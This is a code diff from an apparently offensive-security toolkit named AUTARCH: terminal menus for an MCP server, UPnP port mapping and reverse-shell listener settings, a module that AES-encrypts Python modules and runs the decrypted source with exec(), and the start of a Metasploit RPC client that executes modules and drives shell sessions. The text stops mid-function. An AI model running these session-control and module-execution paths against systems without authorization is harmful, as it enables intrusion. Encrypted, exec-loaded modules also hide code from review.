{result.stderr.strip()}", "error") + else: + self.print_status("Invalid selection", "warning") + + except (ValueError, subprocess.TimeoutExpired) as e: + self.print_status(f"Error: {e}", "error") + + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + + def show_mcp_server(self): + """Display MCP server management interface.""" + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} MCP Server{Colors.RESET}") + print(f"{Colors.DIM} Model Context Protocol — expose AUTARCH tools to AI clients{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Check status + try: + from core.mcp_server import get_server_status, get_mcp_config_snippet, get_autarch_tools + status = get_server_status() + tools = get_autarch_tools() + + if status['running']: + print(f" {Colors.GREEN}SSE Server: RUNNING (PID {status['pid']}){Colors.RESET}") + else: + print(f" {Colors.YELLOW}SSE Server: STOPPED{Colors.RESET}") + + print(f" {Colors.CYAN}Available tools: {len(tools)}{Colors.RESET}") + print() + + # List tools + print(f" {Colors.DIM}Tools:{Colors.RESET}") + for t in tools: + print(f" {Colors.GREEN}-{Colors.RESET} {t['name']}: {Colors.DIM}{t['description'][:60]}{Colors.RESET}") + print() + + except ImportError: + print(f" {Colors.RED}MCP package not installed{Colors.RESET}") + print(f" {Colors.DIM}Install with: pip install mcp{Colors.RESET}") + print() + + mcp_port = self.config.get('web', 'mcp_port', fallback='8081') + print(f" {Colors.CYAN}SSE Port: {mcp_port}{Colors.RESET}") + print() + + print(f" {Colors.GREEN}[1]{Colors.RESET} Start SSE Server (port {mcp_port})") + print(f" {Colors.RED}[2]{Colors.RESET} Stop SSE Server") + print(f" {Colors.CYAN}[3]{Colors.RESET} Show Claude Desktop Config") + print(f" {Colors.CYAN}[4]{Colors.RESET} Run Stdio Mode (blocks)") + print(f" {Colors.CYAN}[5]{Colors.RESET} Configure Port") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0" or not choice: + break + elif choice == "1": + from core.mcp_server import start_sse_server + port = self.config.get('web', 'mcp_port', fallback='8081') + result = start_sse_server(port=int(port)) + if result['ok']: + self.print_status(f"MCP SSE server started on port {port} (PID {result['pid']})", "success") + else: + self.print_status(result['error'], "error") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "2": + from core.mcp_server import stop_sse_server + result = stop_sse_server() + if result['ok']: + self.print_status("MCP server stopped", "success") + else: + self.print_status(result['error'], "warning") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "3": + from core.mcp_server import get_mcp_config_snippet + print() + print(f" {Colors.CYAN}Add this to your Claude Desktop or Claude Code config:{Colors.RESET}") + print() + print(get_mcp_config_snippet()) + print() + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "4": + print() + self.print_status("Starting MCP stdio server (Ctrl+C to stop)...", "info") + print(f" {Colors.DIM}Connect with: claude --mcp autarch{Colors.RESET}") + print() + try: + from core.mcp_server import run_stdio + run_stdio() + except KeyboardInterrupt: + print() + self.print_status("MCP stdio server stopped", "info") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "5": + print() + new_port = input(f" {Colors.WHITE}MCP SSE Port [{mcp_port}]: {Colors.RESET}").strip() + if new_port: + try: + int(new_port) + self.config.set('web', 'mcp_port', new_port) + self.config.save() + self.print_status(f"MCP port set to {new_port}", "success") + except ValueError: + self.print_status("Invalid port number", "error") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + def show_upnp_settings(self): + """Display and configure UPnP settings.""" + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} UPnP Settings{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + settings = self.config.get_upnp_settings() + print(f" {Colors.CYAN}Enabled:{Colors.RESET} {Colors.GREEN if settings['enabled'] else Colors.YELLOW}{'Yes' if settings['enabled'] else 'No'}{Colors.RESET}") + print(f" {Colors.CYAN}Internal IP:{Colors.RESET} {settings['internal_ip']}") + print(f" {Colors.CYAN}Refresh:{Colors.RESET} Every {settings['refresh_hours']} hours") + print(f" {Colors.CYAN}Mappings:{Colors.RESET} {settings['mappings'] or '(none)'}") + print() + + print(f" {Colors.GREEN}[1]{Colors.RESET} Refresh All Mappings Now") + print(f" {Colors.CYAN}[2]{Colors.RESET} Configure Internal IP") + print(f" {Colors.CYAN}[3]{Colors.RESET} Configure Refresh Interval") + print(f" {Colors.CYAN}[4]{Colors.RESET} Edit Port Mappings") + print(f" {Colors.CYAN}[5]{Colors.RESET} Toggle Enabled") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0" or not choice: + break + elif choice == "1": + from core.upnp import get_upnp_manager + upnp = get_upnp_manager(self.config) + if not upnp.is_available(): + self.print_status("upnpc not found — install miniupnpc", "error") + else: + self.print_status("Refreshing UPnP mappings...", "info") + results = upnp.refresh_all() + for r in results: + status = "OK" if r['success'] else "FAIL" + color = Colors.GREEN if r['success'] else Colors.RED + print(f" {color}{r['port']}/{r['protocol']}: {status}{Colors.RESET}") + self.print_status(f"Refreshed {len(results)} mappings", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "2": + new_ip = input(f" {Colors.WHITE}Internal IP [{settings['internal_ip']}]: {Colors.RESET}").strip() + if new_ip: + self.config.set('upnp', 'internal_ip', new_ip) + self.config.save() + self.print_status(f"Internal IP set to {new_ip}", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "3": + new_hrs = input(f" {Colors.WHITE}Refresh hours [{settings['refresh_hours']}]: {Colors.RESET}").strip() + if new_hrs: + try: + int(new_hrs) + self.config.set('upnp', 'refresh_hours', new_hrs) + self.config.save() + self.print_status(f"Refresh interval set to {new_hrs} hours", "success") + except ValueError: + self.print_status("Invalid number", "error") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "4": + print(f"\n {Colors.DIM}Format: port:protocol,port:protocol (e.g. 443:TCP,51820:UDP,8080:TCP){Colors.RESET}") + new_maps = input(f" {Colors.WHITE}Mappings [{settings['mappings']}]: {Colors.RESET}").strip() + if new_maps: + self.config.set('upnp', 'mappings', new_maps) + self.config.save() + self.print_status("Port mappings updated", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "5": + new_val = not settings['enabled'] + self.config.set('upnp', 'enabled', str(new_val).lower()) + self.config.save() + self.print_status(f"UPnP {'enabled' if new_val else 'disabled'}", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + def show_revshell_settings(self): + """Display and configure reverse shell settings.""" + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Reverse Shell Settings{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + settings = self.config.get_revshell_settings() + print(f" {Colors.CYAN}Enabled:{Colors.RESET} {Colors.GREEN if settings['enabled'] else Colors.YELLOW}{'Yes' if settings['enabled'] else 'No'}{Colors.RESET}") + print(f" {Colors.CYAN}Listen Host:{Colors.RESET} {settings['host']}") + print(f" {Colors.CYAN}Listen Port:{Colors.RESET} {settings['port']}") + print(f" {Colors.CYAN}Auto-start:{Colors.RESET} {Colors.GREEN if settings['auto_start'] else Colors.DIM}{'Yes' if settings['auto_start'] else 'No'}{Colors.RESET}") + print() + + print(f" {Colors.CYAN}[1]{Colors.RESET} Configure Host") + print(f" {Colors.CYAN}[2]{Colors.RESET} Configure Port") + print(f" {Colors.CYAN}[3]{Colors.RESET} Toggle Enabled") + print(f" {Colors.CYAN}[4]{Colors.RESET} Toggle Auto-start") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0" or not choice: + break + elif choice == "1": + new_host = input(f" {Colors.WHITE}Listen host [{settings['host']}]: {Colors.RESET}").strip() + if new_host: + self.config.set('revshell', 'host', new_host) + self.config.save() + self.print_status(f"Reverse shell host set to {new_host}", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "2": + new_port = input(f" {Colors.WHITE}Listen port [{settings['port']}]: {Colors.RESET}").strip() + if new_port: + try: + int(new_port) + self.config.set('revshell', 'port', new_port) + self.config.save() + self.print_status(f"Reverse shell port set to {new_port}", "success") + except ValueError: + self.print_status("Invalid port number", "error") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "3": + new_val = not settings['enabled'] + self.config.set('revshell', 'enabled', str(new_val).lower()) + self.config.save() + self.print_status(f"Reverse shell {'enabled' if new_val else 'disabled'}", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "4": + new_val = not settings['auto_start'] + self.config.set('revshell', 'auto_start', str(new_val).lower()) + self.config.save() + self.print_status(f"Auto-start {'enabled' if new_val else 'disabled'}", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + def show_display_settings(self): + """Display and configure display/output settings.""" + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Display Settings{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + verbose = self.config.get_bool('autarch', 'verbose', fallback=False) + quiet = self.config.get_bool('autarch', 'quiet', fallback=False) + no_banner = self.config.get_bool('autarch', 'no_banner', fallback=False) + + print(f" {Colors.CYAN}Verbose:{Colors.RESET} {Colors.GREEN if verbose else Colors.DIM}{'On' if verbose else 'Off'}{Colors.RESET}") + print(f" {Colors.CYAN}Quiet:{Colors.RESET} {Colors.YELLOW if quiet else Colors.DIM}{'On' if quiet else 'Off'}{Colors.RESET}") + print(f" {Colors.CYAN}No Banner:{Colors.RESET} {Colors.YELLOW if no_banner else Colors.DIM}{'On' if no_banner else 'Off'}{Colors.RESET}") + print() + + print(f" {Colors.CYAN}[1]{Colors.RESET} Toggle Verbose {Colors.DIM}- Extra detail in output{Colors.RESET}") + print(f" {Colors.CYAN}[2]{Colors.RESET} Toggle Quiet {Colors.DIM}- Minimal output{Colors.RESET}") + print(f" {Colors.CYAN}[3]{Colors.RESET} Toggle Banner {Colors.DIM}- Show/hide ASCII banner{Colors.RESET}") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0" or not choice: + break + elif choice == "1": + new_val = not verbose + self.config.set('autarch', 'verbose', str(new_val).lower()) + if new_val: + self.config.set('autarch', 'quiet', 'false') + self.config.save() + self.print_status(f"Verbose {'enabled' if new_val else 'disabled'}", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "2": + new_val = not quiet + self.config.set('autarch', 'quiet', str(new_val).lower()) + if new_val: + self.config.set('autarch', 'verbose', 'false') + self.config.save() + self.print_status(f"Quiet mode {'enabled' if new_val else 'disabled'}", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "3": + new_val = not no_banner + self.config.set('autarch', 'no_banner', str(new_val).lower()) + self.config.save() + self.print_status(f"Banner {'hidden' if new_val else 'shown'}", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + def load_config_file(self): + """Load settings from an alternate config file.""" + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Load Configuration File{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + print(f" {Colors.DIM}Current config: {self.config.config_path}{Colors.RESET}") + print() + + path = input(f" {Colors.WHITE}Path to config file (or Enter to cancel): {Colors.RESET}").strip() + if not path: + return + + config_path = Path(path).expanduser() + if not config_path.exists(): + self.print_status(f"File not found: {config_path}", "error") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + return + + try: + from core.config import Config + new_config = Config(str(config_path)) + self.config = new_config + self.print_status(f"Loaded config from {config_path}", "success") + except Exception as e: + self.print_status(f"Failed to load config: {e}", "error") + + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + + def show_user_manual(self): + """Display the user manual in a pager.""" + import shutil + import subprocess + + manual_path = self._app_dir / 'user_manual.md' + if not manual_path.exists(): + self.print_status("User manual not found", "error") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + return + + pager = shutil.which('less') or shutil.which('more') + if pager: + subprocess.run([pager, str(manual_path)]) + else: + # No pager — print page by page + lines = manual_path.read_text().splitlines() + page_size = 40 + for i in range(0, len(lines), page_size): + for line in lines[i:i + page_size]: + print(line) + if i + page_size < len(lines): + try: + resp = input(f"\n{Colors.DIM} -- Press Enter for next page, q to quit -- {Colors.RESET}") + if resp.strip().lower() == 'q': + break + except (EOFError, KeyboardInterrupt): + break + + def list_all_modules(self): + """List all loaded modules, optionally filtered by category.""" + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Loaded Modules{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + if not self.modules: + print(f" {Colors.YELLOW}No modules loaded.{Colors.RESET}") + else: + # Group by category + by_cat = {} + for name, info in sorted(self.modules.items()): + cat = info.category + if cat not in by_cat: + by_cat[cat] = [] + by_cat[cat].append(info) + + for cat_key in sorted(by_cat.keys()): + cat_info = CATEGORIES.get(cat_key, CATEGORIES.get('core', {'name': cat_key, 'color': Colors.WHITE})) + print(f" {cat_info['color']}{Colors.BOLD}{cat_info['name']}{Colors.RESET}") + for info in by_cat[cat_key]: + print(f" {Colors.GREEN}-{Colors.RESET} {info.name:20} {Colors.DIM}{info.description}{Colors.RESET}") + print() + + print(f" {Colors.DIM}Total: {len(self.modules)} modules{Colors.RESET}") + print() + input(f"{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def run(self): + """Main menu loop.""" + self.load_modules() + + while self.running: + self.display_menu() + + try: + choice = input(f"{Colors.WHITE} Select option: {Colors.RESET}").strip() + + if choice == "1": + self.display_category_menu("defense") + elif choice == "2": + self.display_category_menu("offense") + elif choice == "3": + self.display_category_menu("counter") + elif choice == "4": + self.display_category_menu("analyze") + elif choice == "5": + self.display_category_menu("osint") + elif choice == "6": + self.display_category_menu("simulate") + elif choice == "7": + self.run_agent_hal() + elif choice == "8": + self.show_web_service() + elif choice == "9": + self.sideload_companion() + elif choice == "10": + self.show_mcp_server() + elif choice == "11": + self.show_user_manual() + elif choice == "12": + self.list_all_modules() + elif choice == "99": + self.show_settings() + elif choice == "98": + self.running = False + clear_screen() + print(f"\n{Colors.CYAN}Goodbye!{Colors.RESET}\n") + else: + self.print_status("Invalid option", "warning") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + print() + self.running = False + clear_screen() + print(f"\n{Colors.CYAN}Goodbye!{Colors.RESET}\n") diff --git a/core/module_crypto.py b/core/module_crypto.py new file mode 100644 index 0000000..97557af --- /dev/null +++ b/core/module_crypto.py @@ -0,0 +1,239 @@ +""" +AUTARCH Encrypted Module Cryptography +AES-256-CBC encryption with PBKDF2-HMAC-SHA512 key derivation +and SHA-512 integrity verification. + +File format (.autarch): + Offset Size Field + ────── ──── ───────────────────────────────────────────────────── + 0 4 Magic: b'ATCH' + 4 1 Version: 0x01 + 5 32 PBKDF2 salt + 37 16 AES IV + 53 64 SHA-512 hash of plaintext (integrity check) + 117 2 Metadata JSON length (uint16 LE) + 119 N Metadata JSON (UTF-8) + 119+N ... AES-256-CBC ciphertext (PKCS7 padded) +""" + +import hashlib +import hmac +import json +import os +import struct +from pathlib import Path +from typing import Optional + +MAGIC = b'ATCH' +VERSION = 0x01 +KDF_ITERS = 260000 # PBKDF2 iterations (NIST recommended minimum for SHA-512) +SALT_LEN = 32 +IV_LEN = 16 +HASH_LEN = 64 # SHA-512 digest length + + +# ── Low-level AES (pure stdlib, no pycryptodome required) ──────────────────── +# Uses Python's hashlib-backed AES via the cryptography package if available, +# otherwise falls back to pycryptodome, then to a bundled pure-Python AES. + +def _get_aes(): + """Return (encrypt_func, decrypt_func) pair.""" + try: + from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes + from cryptography.hazmat.primitives import padding as sym_padding + from cryptography.hazmat.backends import default_backend + + def encrypt(key: bytes, iv: bytes, plaintext: bytes) -> bytes: + padder = sym_padding.PKCS7(128).padder() + padded = padder.update(plaintext) + padder.finalize() + cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) + enc = cipher.encryptor() + return enc.update(padded) + enc.finalize() + + def decrypt(key: bytes, iv: bytes, ciphertext: bytes) -> bytes: + cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) + dec = cipher.decryptor() + padded = dec.update(ciphertext) + dec.finalize() + unpadder = sym_padding.PKCS7(128).unpadder() + return unpadder.update(padded) + unpadder.finalize() + + return encrypt, decrypt + + except ImportError: + pass + + try: + from Crypto.Cipher import AES + from Crypto.Util.Padding import pad, unpad + + def encrypt(key: bytes, iv: bytes, plaintext: bytes) -> bytes: + cipher = AES.new(key, AES.MODE_CBC, iv) + return cipher.encrypt(pad(plaintext, 16)) + + def decrypt(key: bytes, iv: bytes, ciphertext: bytes) -> bytes: + cipher = AES.new(key, AES.MODE_CBC, iv) + return unpad(cipher.decrypt(ciphertext), 16) + + return encrypt, decrypt + + except ImportError: + raise RuntimeError( + "No AES backend available. Install one:\n" + " pip install cryptography\n" + " pip install pycryptodome" + ) + + +_aes_encrypt, _aes_decrypt = _get_aes() + + +# ── Key derivation ──────────────────────────────────────────────────────────── + +def _derive_key(password: str, salt: bytes) -> bytes: + """Derive a 32-byte AES key from a password using PBKDF2-HMAC-SHA512.""" + return hashlib.pbkdf2_hmac( + 'sha512', + password.encode('utf-8'), + salt, + KDF_ITERS, + dklen=32, + ) + + +# ── Public API ──────────────────────────────────────────────────────────────── + +def encrypt_module( + source_code: str, + password: str, + metadata: Optional[dict] = None, +) -> bytes: + """ + Encrypt a Python module source string. + + Returns the raw .autarch file bytes. + """ + meta_bytes = json.dumps(metadata or {}).encode('utf-8') + plaintext = source_code.encode('utf-8') + salt = os.urandom(SALT_LEN) + iv = os.urandom(IV_LEN) + key = _derive_key(password, salt) + digest = hashlib.sha512(plaintext).digest() + ciphertext = _aes_encrypt(key, iv, plaintext) + + meta_len = len(meta_bytes) + header = ( + MAGIC + + struct.pack('B', VERSION) + + salt + + iv + + digest + + struct.pack(' tuple[str, dict]: + """ + Decrypt an .autarch blob. + + Returns (source_code: str, metadata: dict). + Raises ValueError on bad magic, version, or integrity check failure. + """ + offset = 0 + + # Magic + if data[offset:offset + 4] != MAGIC: + raise ValueError("Not a valid AUTARCH encrypted module (bad magic)") + offset += 4 + + # Version + version = data[offset] + if version != VERSION: + raise ValueError(f"Unsupported module version: {version:#04x}") + offset += 1 + + # Salt + salt = data[offset:offset + SALT_LEN] + offset += SALT_LEN + + # IV + iv = data[offset:offset + IV_LEN] + offset += IV_LEN + + # SHA-512 integrity hash + stored_hash = data[offset:offset + HASH_LEN] + offset += HASH_LEN + + # Metadata + meta_len = struct.unpack(' None: + """Encrypt a .py source file to a .autarch file.""" + source = src.read_text(encoding='utf-8') + blob = encrypt_module(source, password, metadata) + dst.write_bytes(blob) + + +def decrypt_file(src: Path, password: str) -> tuple[str, dict]: + """Decrypt an .autarch file and return (source_code, metadata).""" + return decrypt_module(src.read_bytes(), password) + + +def load_and_exec( + path: Path, + password: str, + module_name: str = '__encmod__', +) -> dict: + """ + Decrypt and execute an encrypted module. + + Returns the module's globals dict (its namespace). + """ + source, meta = decrypt_file(path, password) + namespace: dict = { + '__name__': module_name, + '__file__': str(path), + '__builtins__': __builtins__, + } + exec(compile(source, str(path), 'exec'), namespace) + return namespace + + +def read_metadata(path: Path) -> Optional[dict]: + """ + Read only the metadata from an .autarch file without decrypting. + Returns None if the file is invalid. + """ + try: + data = path.read_bytes() + if data[:4] != MAGIC: + return None + offset = 5 + SALT_LEN + IV_LEN + HASH_LEN + meta_len = struct.unpack(' bool: + """Check if connected to MSF RPC.""" + return self._connected and self.token is not None + + def _decode_bytes(self, obj): + """Recursively decode bytes to strings in msgpack responses. + + Args: + obj: Object to decode (dict, list, bytes, or other). + + Returns: + Decoded object with all bytes converted to strings. + """ + if isinstance(obj, bytes): + return obj.decode('utf-8', errors='replace') + elif isinstance(obj, dict): + return { + self._decode_bytes(k): self._decode_bytes(v) + for k, v in obj.items() + } + elif isinstance(obj, list): + return [self._decode_bytes(item) for item in obj] + elif isinstance(obj, tuple): + return tuple(self._decode_bytes(item) for item in obj) + else: + return obj + + def _request(self, method: str, params: List = None) -> Dict[str, Any]: + """Make an RPC request to Metasploit. + + Args: + method: RPC method name. + params: Method parameters. + + Returns: + Response dictionary. + + Raises: + MSFError: If request fails. + """ + check_msgpack() # Ensure msgpack is available + + params = params or [] + + # Add token to authenticated requests + if self.token and method != "auth.login": + params = [self.token] + params + + # Build request + request_data = msgpack.packb([method] + params) + + try: + if self.use_ssl: + context = ssl.create_default_context() + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE + conn = http.client.HTTPSConnection( + self.host, self.port, context=context, timeout=30 + ) + else: + conn = http.client.HTTPConnection(self.host, self.port, timeout=30) + + headers = { + "Content-Type": "binary/message-pack", + "Content-Length": str(len(request_data)) + } + + conn.request("POST", "/api/", request_data, headers) + response = conn.getresponse() + + if response.status != 200: + raise MSFError(f"HTTP error: {response.status} {response.reason}") + + response_data = response.read() + result = msgpack.unpackb(response_data, raw=False, strict_map_key=False) + + # Recursively normalize bytes to strings throughout the response + result = self._decode_bytes(result) + + if isinstance(result, dict) and result.get("error"): + raise MSFError(f"MSF error: {result.get('error_message', 'Unknown error')}") + + return result + + except ConnectionRefusedError: + raise MSFError(f"Connection refused to {self.host}:{self.port}. Is msfrpcd running?") + except Exception as e: + if isinstance(e, MSFError): + raise + raise MSFError(f"RPC request failed: {e}") + finally: + try: + conn.close() + except: + pass + + def connect(self, password: str = None) -> bool: + """Connect and authenticate to MSF RPC. + + Args: + password: RPC password (uses stored password if not provided). + + Returns: + True if connected successfully. + + Raises: + MSFError: If connection fails. + """ + password = password or self.password + if not password: + raise MSFError("No password provided for MSF RPC") + + try: + result = self._request("auth.login", [self.username, password]) + + if result.get("result") == "success": + self.token = result.get("token") + self._connected = True + return True + else: + raise MSFError("Authentication failed") + + except MSFError: + self._connected = False + self.token = None + raise + + def disconnect(self): + """Disconnect from MSF RPC.""" + if self.token: + try: + self._request("auth.logout", [self.token]) + except: + pass + self.token = None + self._connected = False + + def get_version(self) -> Dict[str, str]: + """Get Metasploit version info. + + Returns: + Dictionary with version information. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + return self._request("core.version") + + def list_modules(self, module_type: str = None) -> List[str]: + """List available modules. + + Args: + module_type: Filter by type (exploit, auxiliary, post, payload, encoder, nop). + + Returns: + List of module names. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + # Map module types to their API method names + # The MSF RPC API uses module.exploits, module.auxiliary, etc. + type_to_method = { + "exploit": "module.exploits", + "auxiliary": "module.auxiliary", + "post": "module.post", + "payload": "module.payloads", + "encoder": "module.encoders", + "nop": "module.nops", + } + + if module_type: + method = type_to_method.get(module_type) + if not method: + raise MSFError(f"Unknown module type: {module_type}") + result = self._request(method) + return result.get("modules", []) + else: + # Get all module types + all_modules = [] + for mtype in ["exploit", "auxiliary", "post", "payload"]: + try: + method = type_to_method.get(mtype) + result = self._request(method) + modules = result.get("modules", []) + all_modules.extend([f"{mtype}/{m}" for m in modules]) + except: + pass + return all_modules + + def search_modules(self, query: str) -> List[Dict[str, Any]]: + """Search for modules matching a query. + + Args: + query: Search query string. + + Returns: + List of matching modules. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + result = self._request("module.search", [query]) + return result if isinstance(result, list) else [] + + def get_module_info(self, module_type: str, module_name: str) -> MSFModule: + """Get detailed information about a module. + + Args: + module_type: Module type (exploit, auxiliary, etc.). + module_name: Module name. + + Returns: + MSFModule with module details. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + result = self._request("module.info", [module_type, module_name]) + + return MSFModule( + type=module_type, + name=result.get("name", module_name), + fullname=f"{module_type}/{module_name}", + description=result.get("description", ""), + rank=result.get("rank", ""), + author=result.get("author", []), + references=result.get("references", []) + ) + + def get_module_options(self, module_type: str, module_name: str) -> Dict[str, Any]: + """Get available options for a module. + + Args: + module_type: Module type. + module_name: Module name. + + Returns: + Dictionary of options and their details. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + return self._request("module.options", [module_type, module_name]) + + def execute_module( + self, + module_type: str, + module_name: str, + options: Dict[str, Any] = None + ) -> Dict[str, Any]: + """Execute a module with given options. + + Args: + module_type: Module type. + module_name: Module name. + options: Module options dictionary. + + Returns: + Execution result with job_id. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + options = options or {} + return self._request("module.execute", [module_type, module_name, options]) + + def list_jobs(self) -> Dict[str, Any]: + """List running jobs. + + Returns: + Dictionary of job IDs and info. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + return self._request("job.list") + + def get_job_info(self, job_id: str) -> Dict[str, Any]: + """Get information about a job. + + Args: + job_id: Job ID. + + Returns: + Job information dictionary. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + return self._request("job.info", [job_id]) + + def stop_job(self, job_id: str) -> bool: + """Stop a running job. + + Args: + job_id: Job ID to stop. + + Returns: + True if stopped successfully. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + result = self._request("job.stop", [job_id]) + return result.get("result") == "success" + + def list_sessions(self) -> Dict[str, Any]: + """List active sessions. + + Returns: + Dictionary of session IDs and info. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + return self._request("session.list") + + def session_shell_read(self, session_id: str) -> str: + """Read output from a shell session. + + Args: + session_id: Session ID. + + Returns: + Shell output string. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + result = self._request("session.shell_read", [session_id]) + return result.get("data", "") + + def session_shell_write(self, session_id: str, command: str) -> bool: + """Write a command to a shell session. + + Args: + session_id: Session ID. + command: Command to execute. + + Returns: + True if written successfully. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + result = self._request("session.shell_write", [session_id, command + "\n"]) + return result.get("write_count", 0) > 0 + + def session_stop(self, session_id: str) -> bool: + """Stop/kill a session. + + Args: + session_id: Session ID to stop. + + Returns: + True if stopped successfully. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + result = self._request("session.stop", [session_id]) + return result.get("result") == "success" + + def run_console_command(self, command: str) -> str: + """Run a command in MSF console. + + Args: + command: Console command to run. + + Returns: + Command output. + """ + if not self.is_connected: + raise MSFError("Not connected to MSF RPC") + + # Create console + console = self._request("console.create") + console_id = console.get("id") + + try: + # Write command + self._request("console.write", [console_id, command + "\n"]) + + # Read output (with retries for async commands) + import time + output = "" + for _ in range(10): + time.sleep(0.5) + result = self._request("console.read", [console_id]) + output += result.get("data", "") + if not result.get("busy", False): + break + + return output + + finally: + # Destroy console + try: + self._request("console.destroy", [console_id]) + except: + pass + + +class MSFManager: + """High-level manager for Metasploit integration.""" + + def __init__(self): + self.config = get_config() + self.rpc: Optional[MetasploitRPC] = None + self._server_process: Optional[subprocess.Popen] = None + + def _ensure_config_section(self): + """Ensure MSF config section exists.""" + if not self.config.config.has_section('msf'): + self.config.config['msf'] = { + 'host': '127.0.0.1', + 'port': '55553', + 'username': 'msf', + 'password': '', + 'ssl': 'true', + 'autoconnect': 'true' + } + self.config.save() + + def detect_server(self) -> Tuple[bool, Optional[str]]: + """Detect if msfrpcd is already running. + + Returns: + Tuple of (is_running, pid or None) + """ + settings = self.get_settings() + host = settings['host'] + port = settings['port'] + + # First try socket connection to check if port is open + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(2) + result = sock.connect_ex((host, port)) + sock.close() + + if result == 0: + # Port is open, try to find the process + pid = self._find_msfrpcd_pid() + return True, pid + except Exception: + pass + + # Also check for running msfrpcd process even if port check failed + pid = self._find_msfrpcd_pid() + if pid: + return True, pid + + return False, None + + def _find_msfrpcd_pid(self) -> Optional[str]: + """Find the PID of running msfrpcd process. + + Returns: + PID as string, or None if not found + """ + try: + # Use pgrep to find msfrpcd + result = subprocess.run( + ['pgrep', '-f', 'msfrpcd'], + capture_output=True, + text=True, + timeout=5 + ) + if result.returncode == 0 and result.stdout.strip(): + # Return first PID found + pids = result.stdout.strip().split('\n') + return pids[0] if pids else None + except (subprocess.TimeoutExpired, FileNotFoundError): + pass + + # Fallback: check /proc on Linux + try: + for pid_dir in os.listdir('/proc'): + if pid_dir.isdigit(): + try: + cmdline_path = f'/proc/{pid_dir}/cmdline' + with open(cmdline_path, 'r') as f: + cmdline = f.read() + if 'msfrpcd' in cmdline: + return pid_dir + except (IOError, PermissionError): + continue + except Exception: + pass + + return None + + def kill_server(self, use_sudo: bool = True) -> bool: + """Kill any running msfrpcd server. + + Args: + use_sudo: Use sudo for killing (needed if server was started with sudo) + + Returns: + True if server was killed or no server was running + """ + is_running, pid = self.detect_server() + + if not is_running: + return True + + # Disconnect our client first if connected + if self.is_connected: + self.disconnect() + + # Kill the process + if pid: + try: + # Try without sudo first 